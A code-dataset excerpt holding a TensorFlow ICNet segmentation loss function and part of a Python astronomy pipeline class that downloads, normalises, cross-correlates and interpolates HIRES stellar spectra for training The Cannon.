{"seq_id":"32631433130","text":"import tensorflow as tf\n\nfrom tensorpack.tfutils.scope_utils import under_name_scope\nfrom tensorpack.tfutils.summary import add_moving_summary\nfrom tensorpack.tfutils.argscope import argscope\n\nfrom utils.shape_utils import combined_static_and_dynamic_shape\n\n# from config import config as cfg\n\n\n@under_name_scope()\ndef icnet_losses(cls_logits, labels, num_classes):\n    '''\n    Args:\n        cls_logits: dict of {name: (logit tensor, weight)}\n                    each tensor has the shape of (H', W', nc)\n        labels: (H, W) label image\n    '''\n    def _compute_loss(logits, labels, num_classes):\n        # shape_labels = combined_static_and_dynamic_shape(labels)\n        # cls_logits = tf.image.resize_bilinear(cls_logits, shape_labels[1:3], align_corners=True)\n        shape_logits = combined_static_and_dynamic_shape(logits)\n        labels = tf.image.resize_nearest_neighbor(labels, shape_logits[1:3], align_corners=True)\n\n        logits = tf.reshape(logits, [-1, shape_logits[-1]])\n        labels = tf.reshape(labels, [-1])\n\n        idx = tf.logical_and(tf.greater_equal(labels, 0), tf.less(labels, num_classes))\n        idx = tf.where(idx)[:, 0]\n\n        valid_logits = tf.gather(logits, idx)\n        valid_labels = tf.gather(labels, idx)\n\n        # cls_loss = focal_loss(labels=valid_labels, logits=valid_logits)\n        cls_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=valid_labels, logits=valid_logits)\n\n        correct = tf.equal(valid_labels, tf.argmax(valid_logits, axis=-1, output_type=valid_labels.dtype))\n        acc = tf.cast(correct, tf.float32)\n        return tf.reduce_mean(cls_loss), tf.reduce_mean(acc)\n\n    total_loss = 0.\n    for k, v in cls_logits.items():\n        loss, acc = _compute_loss(v[0], labels, num_classes)\n        loss = tf.multiply(loss, v[1], name='cls_loss_{}'.format(k))\n        acc = tf.identity(acc, name='acc_{}'.format(k))\n        add_moving_summary(loss, acc)\n        total_loss += loss\n\n    # return the loss\n    return total_loss\n","repo_name":"eldercrow/segmentation-tf","sub_path":"icnet/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74133459940","text":"import itertools\nimport json\nimport logging\nimport os\nimport shutil\nimport sys\nimport time\nfrom glob import glob\n\nimport joblib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport specmatchemp.library\nfrom astropy.io import fits\nfrom hiresprv.auth import login\nfrom hiresprv.database import Database\nfrom hiresprv.download import Download\nfrom hiresprv.idldriver import Idldriver\nfrom joblib import Parallel, delayed\nfrom pylab import *\nfrom scipy import interpolate\nfrom sklearn.model_selection import KFold, train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom specmatchemp import spectrum\nfrom specmatchemp.specmatch import SpecMatch\nfrom TheCannon import dataset, model\n\nfrom alpha_shapes import contfit_alpha_hull\n\n\nclass CHIP:\n\n    def __init__(self, config_file_path):\n        '''\n\n        Args: \n            config_file_path (str): Path to the config.json file\n\n        Returns:\n            None\n        '''\n        # Check if config file exists\n        if not os.path.exists(config_file_path):\n            logging.error(f\"Config file {config_file_path} does not exist\")\n            sys.exit()\n    \n\n        logging.info(f\"Using config file: {config_file_path}\")\n        self.config_file_path = config_file_path\n\n        # Get arguments from config.json\n        self.get_arguments()\n\n        # create storage location \n        self.create_storage_location()\n\n        # if running CHIP HIRES, Filename : spectrum as a (16,N pixels) np.array  \n        # if running The Cannon, HIRES ID : spectrum as a (16,N pixels) np.array \n        self.spectraDic = {}            \n        # For storing sigma valeus\n        self.ivarDic = {}                \n\n                                                                                     \n    def create_storage_location(self):\n        ''' Creates a unique subdirectory in the data directory to store the outputs of CHIP'''\n        logging.debug(\"CHIP.create_storage_location( )\")\n\n        # If we are running preprocessing then we want a new \n        # CHIP run sub dir else we are running The Cannon\n        # and want to use a previous run \n        if self.config[\"Pre-processing\"][\"run\"][\"val\"]:\n            # Create a new storage location for this pipeline\n            # Greenwich Mean Time (UTC) right now \n            gmt_datetime = time.strftime(\"%Y-%m-%d_%H-%M-%S\",time.gmtime())\n\n            self.storage_path = os.path.join(\"data\",\"chip_runs\" , gmt_datetime )\n\n\n        else:\n            # What chip run is going to be used\n            chip_run_subdir = self.config[\"Training\"][\"run\"][\"val\"]\n            self.data_dir_path = os.path.join(\"data/chip_runs\",chip_run_subdir)\n\n            if not(os.path.exists(self.data_dir_path)):\n                logging.error(f'Your inputed sub dir name for [\"Training\"][\"run\"][\"val\"] does not exist. {self.data_dir_path}')\n            \n            # Make The Cannon Results dir \n            # semi-unique subdir naming convention\n            # random seed _ testing fraction _ validation fraction _ cost function name (spaces filled with -)\n            rand_seed = self.config[\"Training\"][\"random seed\"][\"val\"]\n            test_frac = self.config[\"Training\"][\"train test split\"][\"val\"]\n            cost_fun  = self.config[\"Training\"][\"cost function\"][\"name\"].replace(\" \", \"-\")\n            k_fold    = self.config[\"Training\"][\"kfolds\"][\"val\"]\n            semi_unique_subdir = f\"{rand_seed}_{test_frac}_{cost_fun}_{k_fold}\"\n            \n            self.storage_path = os.path.join( self.data_dir_path, \"training_results\", semi_unique_subdir )\n            \n        os.makedirs( self.storage_path, exist_ok= True )\n\n        \n    def run(self):\n        ''' Run the pipeline from end to end.'''\n        \n        if self.config[\"Pre-processing\"][\"run\"][\"val\"]:\n\n            # Record results \n            self.removed_stars = {\"no RV observations\":[],\"rvcurve wasn't created\":[], \n                                \"SNR < 100\":[],\"NAN value in spectra\":[],\n                                \"No Clue\":[],\"Nan in IVAR\":[],\n                                \"Normalization error\":[]}\n            \n            # Trim wl_solution \n            self.wl_solution = np.load(\"data/spocs/wl_solution.npy\")\n            if self.trim > 0:\n                self.wl_solution = self.wl_solution[:, self.trim: -self.trim]\n\n            if isinstance(self.config[\"Pre-processing\"][\"run\"][\"val\"],bool):\n\n                self.download_spectra()\n\n                self.alpha_normalization()\n\n                self.cross_correlate_spectra()\n\n                self.interpolate()\n\n            else:\n                past_run, data_folder = self.config[\"Pre-processing\"][\"run\"][\"val\"][0], self.config[\"Pre-processing\"][\"run\"][\"val\"][1]\n                logging.info(f\"Using the past run {past_run}'s {data_folder}\")\n\n                past_run_path = os.path.join(os.path.dirname(self.storage_path), past_run)\n\n                if os.path.exists(past_run_path):\n                    \n\n                    data_folder_path = os.path.join(past_run_path,data_folder)\n                    if os.path.exists(data_folder_path):\n                        # Transfer all files from past run to new run\n                        shutil.rmtree(self.storage_path)\n                        shutil.copytree(past_run_path,\n                                        self.storage_path)\n\n                        self.hires_filename_snr_df = pd.read_csv( os.path.join(self.storage_path, \"HIRES_Filename_snr.csv\"))\n\n                        if data_folder in [\"rv_obs\",\"norm\"]:\n                            self.load_past_rv_obs( os.path.join(self.storage_path,\"rv_obs\"))\n                    \n                            # Continue with normal operations \n                            self.alpha_normalization()\n                            self.cross_correlate_spectra()\n                            self.interpolate()\n\n                        else: \n                            logging.error(f\"{data_folder} is not currently a supported starting location for using past CHIP runs\")\n\n                    else:\n                        logging.error(f\"The data folder {data_folder} in {past_run} does not exist! We are looking at {data_folder_path}\")\n                else:\n                    logging.error(f\"The past run {past_run} does not exist! We are looking at {past_run_path}\")\n                    \n    \n        elif self.config[\"Training\"][\"run\"][\"val\"]:\n\n            self.load_the_cannon()\n            self.hyperparameter_tuning()\n\n        else:\n            logging.error(\"Neither CHIP or The Cannon were selected to run in config.json! Please select!\")\n\n\n    def load_past_rv_obs(self,data_folder_path):\n        ''' Load in past data to continue preprocessing\n\n        Args: \n            data_folder_path (str): File path to rv_obs folder\n        '''\n        for _, row in self.hires_filename_snr_df.iterrows():\n            # Save the Best Spectrum\n            star_id = row[\"HIRESID\"]\n            filename = row[\"FILENAME\"]\n            self.spectraDic[filename] = self.download_spectrum(filename, \n                                                                snr=False,\n                                                                past_rv_obs_path=data_folder_path)\n            # Calculate ivar\n            self.sigma_calculation(filename , star_id)\n\n\n    def get_arguments(self):\n        ''' Get arguments from src/config.json and store in self.config'''\n        logging.debug(\"CHIP.get_arguments( )\")\n\n        with open(self.config_file_path, \"r\") as f:\n            self.config = json.load(f)\n        \n        self.cores = self.config[\"Pre-processing\"][\"cores\"][\"val\"]\n        self.trim  = self.config[\"Pre-processing\"][\"trim spectrum\"][\"val\"]\n        logging.info( f\"config.json : {self.config}\" )\n    \n\n    @staticmethod\n    def calculate_SNR(spectrum, gain = 2.09):\n        ''' Calculates the SNR of spectrum using the 5th echelle orders\n\n        Args: \n            spectrum (np.array) - spectrum with at least 5 rows representing echelle orders \n            gain (float) - gain of the detector\n\n        Outputs: \n            (float) estimated SNR of inputed spectrum\n        '''\n        logging.debug(f\"CHIP.calculate_SNR( {spectrum} )\")\n\n        spectrum = spectrum[4].flatten() # Using echelle orders in the middle \n        SNR = np.sqrt(np.median(spectrum * gain))\n        \n        return SNR \n\n\n    def delete_spectrum(self,filename):\n        '''Remove spectrum from local storage\n\n        Args: \n            filename (str): HIRES file name of spectrum you want to delete\n        '''\n        logging.debug(f\"CHIP.delete_spectrum( {filename} )\")\n        file_path = os.path.join(self.dataSpectra.localdir,filename + \".fits\")\n        try:\n            os.remove(file_path)\n        except FileNotFoundError as e:\n            # file was already deleted \n            pass \n\n\n    def download_spectrum(self,filename,snr = True, past_rv_obs_path = False):\n        '''Download Individual Spectrum and calculate the ivar \n\n        Args: \n            filename (str): HIRES file name of spectrum you want to download\n            snr (bool): if you want to calculate the SNR of the spectrum \n            past_rv_obs_path (str): if you want to load in old rb obs set to rb_obs dir path\n        '''\n        logging.debug(f\"CHIP.download_spectrum( filename={filename}, snr={snr}, past_rv_obs_path={past_rv_obs_path} )\")\n        \n        if not past_rv_obs_path:\n            #Download spectra\n            self.dataSpectra.spectrum(filename.replace(\"r\",\"\"))    \n            file_path = os.path.join(self.dataSpectra.localdir, filename + \".fits\")\n\n            try: \n                temp_deblazedFlux = fits.getdata(file_path)\n            except OSError:\n                # There is a problem with the downloaded fits file \n                return -1\n            \n            if snr: # Used to find best SNR \n                snr = self.calculate_SNR(temp_deblazedFlux)\n\n                # delete Spectrum variable so it can be delete if needed\n                del temp_deblazedFlux \n                return snr\n            else:\n                # Trim the left and right sides of each echelle order \n                if self.trim > 0:\n                    return temp_deblazedFlux[:, self.trim: -self.trim]\n                else:\n                    return temp_deblazedFlux\n            \n        else:\n            # Load past data \n            file_path = os.path.join(past_rv_obs_path, filename + \".fits\")\n            if os.path.exists(file_path):\n                temp_deblazedFlux = fits.getdata(file_path)\n                if self.trim > 0:\n                    return temp_deblazedFlux[:, self.trim: -self.trim]\n                else:\n                    return temp_deblazedFlux\n            \n            else:\n                # Star isn't in file location\n                self.download_spectrum(filename,\n                                       snr,\n                                       past_rv_obs_path = False)\n\n\n    def update_removedstars(self):\n        ''' Helper method to insure removed_stars will be updated properly accross each method.'''\n        logging.debug(\"CHIP.update_removedstars( )\")\n\n        # Update removed_stars\n        logging.info(f\"Current removed stars: {self.removed_stars}\")\n        # pd.DataFrame(self.removed_stars).to_csv( os.path.join(self.storage_path ,\"removed_stars.csv\"),\n        #                                          index_label=False,\n        #                                          index=False)\n        # Use joblib to save removed_stars\n        joblib.dump(self.removed_stars, os.path.join(self.storage_path ,\"removed_stars.pkl\"))\n\n\n    def download_spectra(self):\n        ''' Downloads all the spectra for each star in the NExSci, calculates \n        the SNR and saves the spectrum with the highest SNR for each star.\n        '''\n        logging.info(\"CHIP.download_spectra( )\")\n\n        # login into the NExSci servers\n        login('data/prv.cookies')\n\n        start_time = time.perf_counter()\n\n        # IDs for all the stars the user wants to download iodine imprinted spectra for\n        hires_stars_ids_file_path = self.config[\"Pre-processing\"][\"HIRES stars IDs\"][\"val\"]\n        hires_stars_ids_df = pd.read_csv( hires_stars_ids_file_path, sep=\" \" )\n        hires_names_array = hires_stars_ids_df[\"HIRESID\"].to_numpy()\n\n        hiresID_fileName_snr_dic = {\"HIRESID\": [],\"FILENAME\":[],\"SNR\":[]}  \n\n        # Location to save spectra\n        spectra_download_location = os.path.join( self.storage_path, \"rv_obs\" )\n        os.makedirs( spectra_download_location, exist_ok=True )\n\n        # For retrieving data from HIRES\n        self.state = Database('data/prv.cookies')\n        self.dataSpectra = Download('data/prv.cookies', spectra_download_location)\n                                  \n        for star_ID in hires_names_array:\n                try:\n                    logging.debug(f\"Finding highest SNR spectrum for {star_ID}\")\n                        \n                    \n                    # SQL query to find all the RV observations of one particular star\n                    search_string = f\"select OBTYPE,FILENAME from FILES where TARGET like '{star_ID}' and OBTYPE like 'RV observation';\"\n                    url = self.state.search(sql=search_string)\n                    obs_df = pd.read_html(url, header=0)[0]\n\n                    # Check if there are any RV Observations \n                    if obs_df.empty or not (\"FILENAME\" in obs_df.columns): \n                        logging.debug(f\"{star_ID} has no RV observations\")\n                        self.removed_stars[\"no RV observations\"].append(star_ID) \n                        continue \n                    else:\n\n                        logging.debug(f\"RV Observation Filenames: {obs_df['FILENAME'] }\")\n\n                        best_SNR = 0\n                        best_SNR_filename = False \n\n                        for filename in obs_df[\"FILENAME\"]:\n                            temp_SNR = self.download_spectrum(filename)\n                            \n\n                            # Check if the SNR is the highest out of \n                            # all the star's previous spectras \n                            if best_SNR < temp_SNR:\n                                # Since this spectrum is not longer the best, we will delete it\n                                delete_spectrum_filename = best_SNR_filename \n\n                                best_SNR = temp_SNR\n                                best_SNR_filename = filename \n                            else:\n                                delete_spectrum_filename = filename \n\n                            # Delete unused spectrum\n                            # Will not trigger in the intial case\n                            if delete_spectrum_filename: \n                                self.delete_spectrum(delete_spectrum_filename)\n\n                        if best_SNR < 100: \n                            logging.debug(f\"{star_ID}'s best spectrum had an SNR lower than 100. Thus it was removed.\")\n\n                            self.removed_stars[\"SNR < 100\"].append(star_ID)\n\n                        else:\n                            # Save the Best Spectrum\n                            self.spectraDic[best_SNR_filename] = self.download_spectrum(best_SNR_filename, \n                                                                                        snr=False)\n                            \n                            logging.debug(f\"{star_ID}'s best SNR spectrum came from {best_SNR_filename} with an snr={best_SNR}\")\n                            hiresID_fileName_snr_dic[\"HIRESID\"].append(star_ID)\n                            hiresID_fileName_snr_dic[\"FILENAME\"].append(best_SNR_filename)\n                            hiresID_fileName_snr_dic[\"SNR\"].append(best_SNR)\n                        \n                            # Calculate ivar\n                            self.sigma_calculation(best_SNR_filename , star_ID)\n                except Exception as e:\n                    logging.debug(f\"{star_ID} was removed because it recieved the following error: {e}\")\n\n                    self.removed_stars[\"No Clue\"].append(star_ID) \n                    continue \n\n        # Save SNR meta data in csv file \n        self.hires_filename_snr_df = pd.DataFrame(hiresID_fileName_snr_dic) \n        self.hires_filename_snr_df.to_csv( os.path.join(self.storage_path ,\"HIRES_Filename_snr.csv\"),\n                                           index_label=False,\n                                           index=False)\n        \n        self.update_removedstars()\n\n        # Delete unused instance attributes\n        del self.dataSpectra\n        del self.state\n\n        end_time = time.perf_counter()\n        logging.info(f\"It took CHIP.download_spectra, {end_time - start_time} seconds to finish!\")\n    \n\n    def sigma_calculation(self,filename , star_ID):\n        '''Calculates sigma for inverse variance (IVAR) \n\n        Args: \n            filename (str): HIRES file name of spectrum you want to calculate IVAR for\n            star_ID (str): HIRES identifer\n        '''\n        logging.debug(\"CHIP.sigma_calculation( filename = {filename} )\")\n        gain = 1.2 #electrons/ADU\n        readn = 2.0 #electrons RMS\n        xwid = 5.0 #pixels, extraction width\n\n        sigma = np.sqrt((gain*self.spectraDic[filename]) + (xwid*readn**2))/gain \n        #Checkinng for a division by zeros \n        if not np.isnan(sigma).any(): #Happens in the IVAR\n                self.ivarDic[filename] = sigma\n        else:\n            logging.info(f\"{star_ID} has NAN value in IVAR\") \n            self.removed_stars[\"Nan in IVAR\"].append(star_ID)\n            del self.spectraDic[filename]\n\n\n    def alpha_normalization(self):\n        ''' Rolling Continuum Normalization.'''\n        logging.info(\"CHIP.alpha_normalization( )\")\n        start_time = time.perf_counter()\n        \n        # Create Normalized Spectra dir\n        self.norm_spectra_dir_path = os.path.join( self.storage_path, \"norm\" )\n        os.makedirs(self.norm_spectra_dir_path,exist_ok=True) \n\n        # for star_name in self.spectraDic: \n        #     contfit_alpha_hull(star_name,\n        #                         self.spectraDic[star_name],\n        #                         self.ivarDic[star_name],\n        #                         self.wl_solution,\n        #                         self.norm_spectra_dir_path)\n        # Start parallel computing\n        Parallel( n_jobs = self.cores )\\\n                (delayed( contfit_alpha_hull )\\\n                        (star_name,\n                         self.spectraDic[star_name],\n                         self.ivarDic[star_name],\n                         self.wl_solution,\n                         self.norm_spectra_dir_path) for star_name in self.spectraDic)\n\n        # Load all the normalized files into their respective dictionaries \n        self.star_name_list = []\n        for star_name in list(self.spectraDic):\n            try:\n                specnorm_path = os.path.join( self.norm_spectra_dir_path , f\"{star_name}_specnorm.npy\")\n                sigmanorm_path = os.path.join( self.norm_spectra_dir_path , f\"{star_name}_sigmanorm.npy\")\n                # self.spectraDic[star_name] = np.load(specnorm_path) \n                # self.ivarDic[star_name] = np.load(sigmanorm_path) \n                self.star_name_list.append(star_name)\n\n\n            except FileNotFoundError as e:\n                if isinstance(e,FileNotFoundError):\n                    logging.error(f'''{star_name}'s normalization files were not found. We have removed the star.''')\n                    self.removed_stars[\"Normalization error\"].append(star_name)\n        \n        self.update_removedstars()\n        del self.spectraDic\n        \n        end_time = time.perf_counter()\n        logging.info(f\"It took CHIP.alpha_normalization, {end_time - start_time} seconds to finish!\")\n\n\n    def cross_correlate_spectrum(self, filename):\n            ''' Uses specmatch-emp to cross correlate a spectrum to the rest wavelength. \n            \n            Args: \n                filename (str): HIRES file name of spectrum you want to cross correlate\n            '''\n            logging.info(f\"CHIP.cross_correlate_spectrum( filename = {filename} )\")\n\n            try:\n                hiresspectrum = spectrum.read_chip_spectrum(normalized_spectra_dir = self.norm_spectra_dir_path ,\n                                            HIRES_id = filename, \n                                            wavelength = self.wl_solution,)\n            except FileNotFoundError as e:\n                if isinstance(e,FileNotFoundError):\n                    logging.error(f'''{filename}'s normalization files were not found. We have removed the star.''')\n                    self.removed_stars[\"Normalization error\"].append(filename)\n\n            specmatch_object = SpecMatch(hiresspectrum, self.lib)\n            specmatch_object.shift()\n            \n            # Save cross-correlated spectra \n            np.save( os.path.join(self.cross_correlate_dir_path,\n                                  filename + \"_wavelength.npy\")\n                    ,specmatch_object.target.w)\n            np.save( os.path.join(self.cross_correlate_dir_path,\n                                  filename + \"_flux.npy\")\n                    ,specmatch_object.target.s)\n            np.save( os.path.join(self.cross_correlate_dir_path,\n                            filename + \"_sigma.npy\")\n                    ,specmatch_object.target.serr)\n            \n            ### NEED TO FIGURE OUT WHY MATPLOTLIB GIVES A LOCK ISSUE WHEN MULTIPROCESSING\n            # # Derived from specmatch-emp quick-start tutorial\n            # fig = plt.figure(figsize=(10,5))\n            # specmatch_object.target_unshifted.plot(normalize=True, \n            #                                        plt_kw={'color':'forestgreen'}, \n            #                                        text='Target (unshifted)')\n            # specmatch_object.target.plot(offset=0.5, \n            #                              plt_kw={'color':'royalblue'}, \n            #                              text= f'Target (shifted): {filename}')\n            # specmatch_object.shift_ref.plot(offset=1, \n            #                                 plt_kw={'color':'firebrick'}, \n            #                                 text='Reference: '+specmatch_object.shift_ref.name)\n            # plt.xlim(5160,5200)\n            # plt.ylim(0,2.2)\n            # # code-stop-plot-shifts-G\n            # fig.set_tight_layout(True)\n            # fig.savefig(os.path.join(self.cross_correlate_dir_path,\n            #                          filename + \"_comparison.png\"))\n            # plt.close(fig)\n\n    def cross_correlate_spectra(self):\n        ''' Shift all spectra and sigmas to the rest wavelength.'''\n        logging.info(\"CHIP.cross_correlate_spectra( )\")\n        start_time = time.perf_counter()\n\n        # Make cross correlate dir\n        self.cross_correlate_dir_path = os.path.join(self.storage_path, \"cr_cor\")\n        os.makedirs(self.cross_correlate_dir_path,exist_ok=True) \n\n        # Library \n        # Min wavelength for HIRES wavelength solution is 4976.64...\n        # Max wavelength for HIRES wavelength solution is 6421.36...\n        # So I'll use 4950 and 6450 as the wavelength limits for the library \n        self.lib = specmatchemp.library.read_hdf(wavlim=[4950,6450]) \n\n        Parallel( n_jobs = self.cores )\\\n                (delayed( self.cross_correlate_spectrum )\\\n                (star_name) for star_name in self.star_name_list)\n        \n        end_time = time.perf_counter()\n        logging.info(f\"It took CHIP.cross_correlate_spectra, {end_time - start_time} seconds to finish!\")\n\n\n    @staticmethod\n    def compute_wavelength_limits(filenames):\n        smallest_maxima = float(\"inf\")\n        largest_minima = float(\"-inf\")\n        for filename in filenames:\n            temp_wv = np.load(filename)\n            smallest_maxima = min(smallest_maxima, np.max(temp_wv))\n            largest_minima = max(largest_minima, np.min(temp_wv))\n        return smallest_maxima, largest_minima\n\n    @staticmethod\n    def interpolate_spectrum(filename, common_wv):\n        temp_wv = np.load(filename)\n        temp_flux = np.load(filename.replace(\"wavelength\", \"flux\"))  # assumes a corresponding flux file exists\n        temp_sigma = np.load(filename.replace(\"wavelength\", \"sigma\"))  # assumes a corresponding temp_sigma file exists\n        \n        inverse_variance = 1 / (temp_sigma ** 2)\n\n        # Replace inf and nan values in the flux with 1.0\n        temp_flux = np.where(np.isfinite(temp_flux), temp_flux, 1.0)\n\n        # Create interpolation functions for the flux and the standard deviation.\n        # These functions will be used to estimate the flux and standard deviation \n        # values at the points in the new wavelength grid.\n        f_flux = interpolate.interp1d(temp_wv, \n                                      temp_flux, \n                                      kind='cubic', \n                                      bounds_error=False, \n                                      fill_value=0)\n        \n        # Using linear interpolation for the standard deviation\n        # becauase cubic interpolation was giving np.nan values \n        # This might need to be fixed in the future\n        f_ivar = interpolate.interp1d(temp_wv, \n                                      inverse_variance, \n                                      kind='linear', \n                                      bounds_error=False, \n                                      fill_value=np.inf)\n\n        resampled_flux = f_flux(common_wv)\n        resampled_ivar = f_ivar(common_wv)\n\n        # Replace inf and nan values in the flux with 1.0\n        resampled_flux = np.where(np.isfinite(resampled_flux), resampled_flux, 1.0)\n        # Replace inf and nan values in the standard deviation with 0.0\n        resampled_ivar = np.where(np.isfinite(resampled_ivar), resampled_ivar, 0.0)\n      \n\n        return temp_wv, temp_flux, temp_sigma, resampled_flux, resampled_ivar\n\n\n    def interpolate(self):  \n        logging.info(\"CHIP.interpolate( )\")\n\n        start_time = time.perf_counter()\n\n        # Make interpolation dir\n        self.interpolate_dir_path = os.path.join(self.storage_path, \"inter\")\n        os.makedirs(self.interpolate_dir_path,exist_ok=True) \n\n        filenames = glob(os.path.join(self.cross_correlate_dir_path, '*_wavelength.npy'))\n  \n        smallest_maxima, largest_minima = self.compute_wavelength_limits(filenames)\n\n        # Implement the algorithm\n        last_numbers = self.wl_solution[:,-1]\n        new_array = []\n\n        # Remove overlapping regions of the wavelength solution\n        for i in range(len(last_numbers)-1):\n            next_row = self.wl_solution[i+1]\n            filtered_next_row = next_row[next_row > last_numbers[i]]\n            new_array.extend(filtered_next_row)\n\n        # The new array after operation\n        new_wl_solution = np.array(new_array)\n\n        # Mask the wavelength solution \n        mask = (new_wl_solution >= largest_minima) & (new_wl_solution <= smallest_maxima)\n        common_wv = new_wl_solution[mask]\n\n        # Interpolate each star's spectrum and ivar onto the common grid\n        for filename in filenames:\n            temp_wv, temp_flux, temp_sigma, resampled_flux, resampled_ivar = self.interpolate_spectrum(filename, common_wv)\n\n            # Save the resampled flux and ivar in the new directory\n            new_filename_flux = filename.replace(self.cross_correlate_dir_path, \n                                                 self.interpolate_dir_path).replace(\"wavelength.npy\", \n                                                                                    \"resampled_flux.npy\")\n            new_filename_ivar = filename.replace(self.cross_correlate_dir_path, \n                                                 self.interpolate_dir_path).replace(\"wavelength.npy\", \n                                                                                    \"resampled_ivar.npy\") \n            \n\n            np.save(new_filename_flux, resampled_flux)\n            np.save(new_filename_ivar, resampled_ivar)\n            \n            # # Plot the resampled and original spectrum\n            # obs_name = os.path.basename(filename).split(\"_\")[0]\n            # plt.figure(figsize=(10, 6))\n            # plt.plot(temp_wv, temp_flux, label='Original Spectrum')\n            # plt.plot(common_wv, resampled_flux, label='Resampled Spectrum')\n            # plt.xlabel('Wavelength')\n            # plt.ylabel('Flux')\n            # plt.legend()\n            # plt.title(f\"Spectrum for {obs_name}\")\n            # plt.savefig(new_filename_flux.replace(\"resampled_flux.npy\", \"comparison.png\"))\n            # plt.close()\n\n        # Save the common wavelength grid in the new directory\n        np.save(os.path.join(self.interpolate_dir_path, \"interpolated_wl.npy\"), common_wv)\n\n        end_time = time.perf_counter()\n        logging.info(f\"It took CHIP.interpolate, {end_time - start_time} seconds to finish!\")\n\n\n    def load_the_cannon(self):\n        ''' Load in the data The Cannon will use.'''\n        logging.info(\"CHIP.load_the_cannon( )\") \n\n        self.random_seed = self.config[\"Training\"][\"random seed\"][\"val\"]\n\n        interpolated_dir_path = os.path.join(self.data_dir_path, \"inter\")\n\n        # Load wavelength solution\n        self.wl_solution = np.load( os.path.join( interpolated_dir_path , \"interpolated_wl.npy\") )\n\n        # load spectra \n        # Note: the key is hiresid instead of filename \n        hiresid_filenames_array = pd.read_csv( os.path.join( self.data_dir_path,\"HIRES_Filename_snr.csv\"))[[\"HIRESID\",'FILENAME']].to_numpy()\n        for hiresid, filename in hiresid_filenames_array:\n            spec_path = os.path.join( interpolated_dir_path, filename + \"_resampled_flux.npy\" )\n            ivar_path = os.path.join( interpolated_dir_path, filename + \"_resampled_ivar.npy\" )\n            if os.path.exists( spec_path ):\n                if os.path.exists( ivar_path ):\n                    self.spectraDic[hiresid] = np.load(spec_path)\n                    self.ivarDic[hiresid]    = np.load(ivar_path)\n                else:\n                    logging.info(f\"{filename} does not what an ivar in {interpolated_dir_path}\")\n            else:\n                logging.info(f\"{filename} does not have  an spectrum in {interpolated_dir_path}\")\n        \n        logging.info(f\"A total of {len(self.spectraDic)} stars were loaded.\")\n\n        # Load parameters \n        self.parameters_list = self.config[\"Training\"][\"stellar parameters\"][\"val\"]\n        hiresid_parameters_list = [\"HIRESID\"] + self.parameters_list\n        stellar_parameters_path = self.config[\"Training\"][\"stellar parameters path\"][\"val\"]\n        if not os.path.exists( stellar_parameters_path ):\n            logging.info(f\"stellar parameters path {stellar_parameters_path} does not exist\")\n            sys.exit(1)\n        self.parameters_df = pd.read_csv(stellar_parameters_path)[ hiresid_parameters_list ]\n        # Extract only the stars that were preprocessed \n        self.parameters_df = self.parameters_df[self.parameters_df[\"HIRESID\"].isin( hiresid_filenames_array[:,0] )]\n\n        logging.info(\"before scaling\\n\" + self.parameters_df.to_string())\n        # Create a StandardScaler object\n        self.parameters_scaler = StandardScaler()\n        # Fit the scaler to the selected columns and transform the selected columns\n        parameters_transformed = self.parameters_scaler.fit_transform( self.parameters_df[self.parameters_list] )\n\n        # change values in df \n        self.parameters_df[self.parameters_list] = parameters_transformed\n\n        logging.info( \"scaled features\\n\" + self.parameters_df.to_string() )\n\n        self.cannon_splits(self.parameters_df)\n\n        # load cost function \n        self.cost_function = eval(self.config[\"Training\"][\"cost function\"][\"function\"])\n        # Load masks \n        masks_list = self.config[\"Training\"][\"masks\"][\"val\"]\n        self.masks = {mask_name: self.create_mask_array(mask_path) for mask_name, mask_path in masks_list}\n\n\n    def create_mask_array(self,mask_path):\n        ''' Create a mask array for the The Cannon. \n        \n        Args: \n            mask_path (str) - path to the mask\n               \n        Returns: \n            (np.array((wl_solution.shape[0],))) - masked boolean array\n        '''\n        logging.debug(\"CHIP.create_mask_array( mask_path={mask_path}})\") \n\n        # Create a (wl_solution.shape[0],) array of Falses\n        masked_bool_array = np.zeros(self.wl_solution.shape[0], dtype=bool)\n\n        if not mask_path:\n            # If no mask path is given, return the array of Falses\n            return masked_bool_array\n\n        mask = np.load(mask_path)\n        mask_flux = mask[1,:]\n        mask_wl = mask[0,:]\n\n        wl_range = []\n        continuing_range = False \n        beginning_of_range = 0\n        for i,pixel_val in enumerate(mask_flux):\n            if pixel_val == 0:\n                if not continuing_range:\n                    beginning_of_range = mask_wl[i]\n                    continuing_range = True\n            else:\n                if continuing_range: \n                    wl_range.append( (beginning_of_range,mask_wl[i]) )\n                    continuing_range = False\n\n        \n        # Mask the wavelength solution\n        for masked_range in wl_range:\n            start_masked_wl = masked_range[0]\n            end_masked_wl = masked_range[1]\n\n            # Use numpy logical and to mask the wavelength solution\n            mask_out_i = np.logical_and(self.wl_solution >= start_masked_wl, self.wl_solution <= end_masked_wl)\n            masked_bool_array = np.logical_or(masked_bool_array, mask_out_i)\n        \n        return masked_bool_array\n\n\n    def evaluate_model(self, md, ds, true_labels, save = False):\n        ''' Evaluate how well a model was trained.\n\n        Args: \n            md (TheCannon.model.CannonModel) - \n            ds (TheCannon.dataset.Dataset) -\n            true_labels (np.array((M,))) - true values for the corresponds inferred labels \n        \n        Returns:\n            (float) - cost function value\n        '''\n        label_errors = md.infer_labels(ds)\n        inferred_labels = ds.test_label_vals\n\n        if save:\n            # Save inferred labels\n            joblib.dump(inferred_labels, os.path.join(self.storage_path,'inferred_labels.joblib'))\n\n\n        return self.cost_function(true_labels, inferred_labels)\n        \n\n    def split_data(self, X_indecies, y_indecies):\n        ''' Split data to be put in TheCannon.dataset.Dataset\n\n        Args: \n            X_indecies (np.array((N,))) - indecies to be used for the training set\n            y_indecies (np.array((M,))) - indecies to be used for the testing set\n        \n        Returns: \n            training id, training spectra, training ivar, training parameters, testing id, testing spectra, testing ivar, testing parameters\n        '''\n        # np.array( array , dtype=np.float64) is necessary, otherwise you would recieve the following type error \n        # TypeError: No loop matching the specified signature and casting was found for ufunc solve1\n        X_id = self.train_id[X_indecies]\n        X_spec = np.array(self.train_spectra[X_indecies], dtype=np.float64)\n        X_ivar = np.array(self.train_ivar[X_indecies], dtype=np.float64)\n        # Remove 0th column that contains HIRES IDs\n        X_parameters = np.array(self.train_parameter.to_numpy()[X_indecies][:,1:], dtype=np.float64)\n\n        y_id = self.train_id[y_indecies]\n        y_spec = 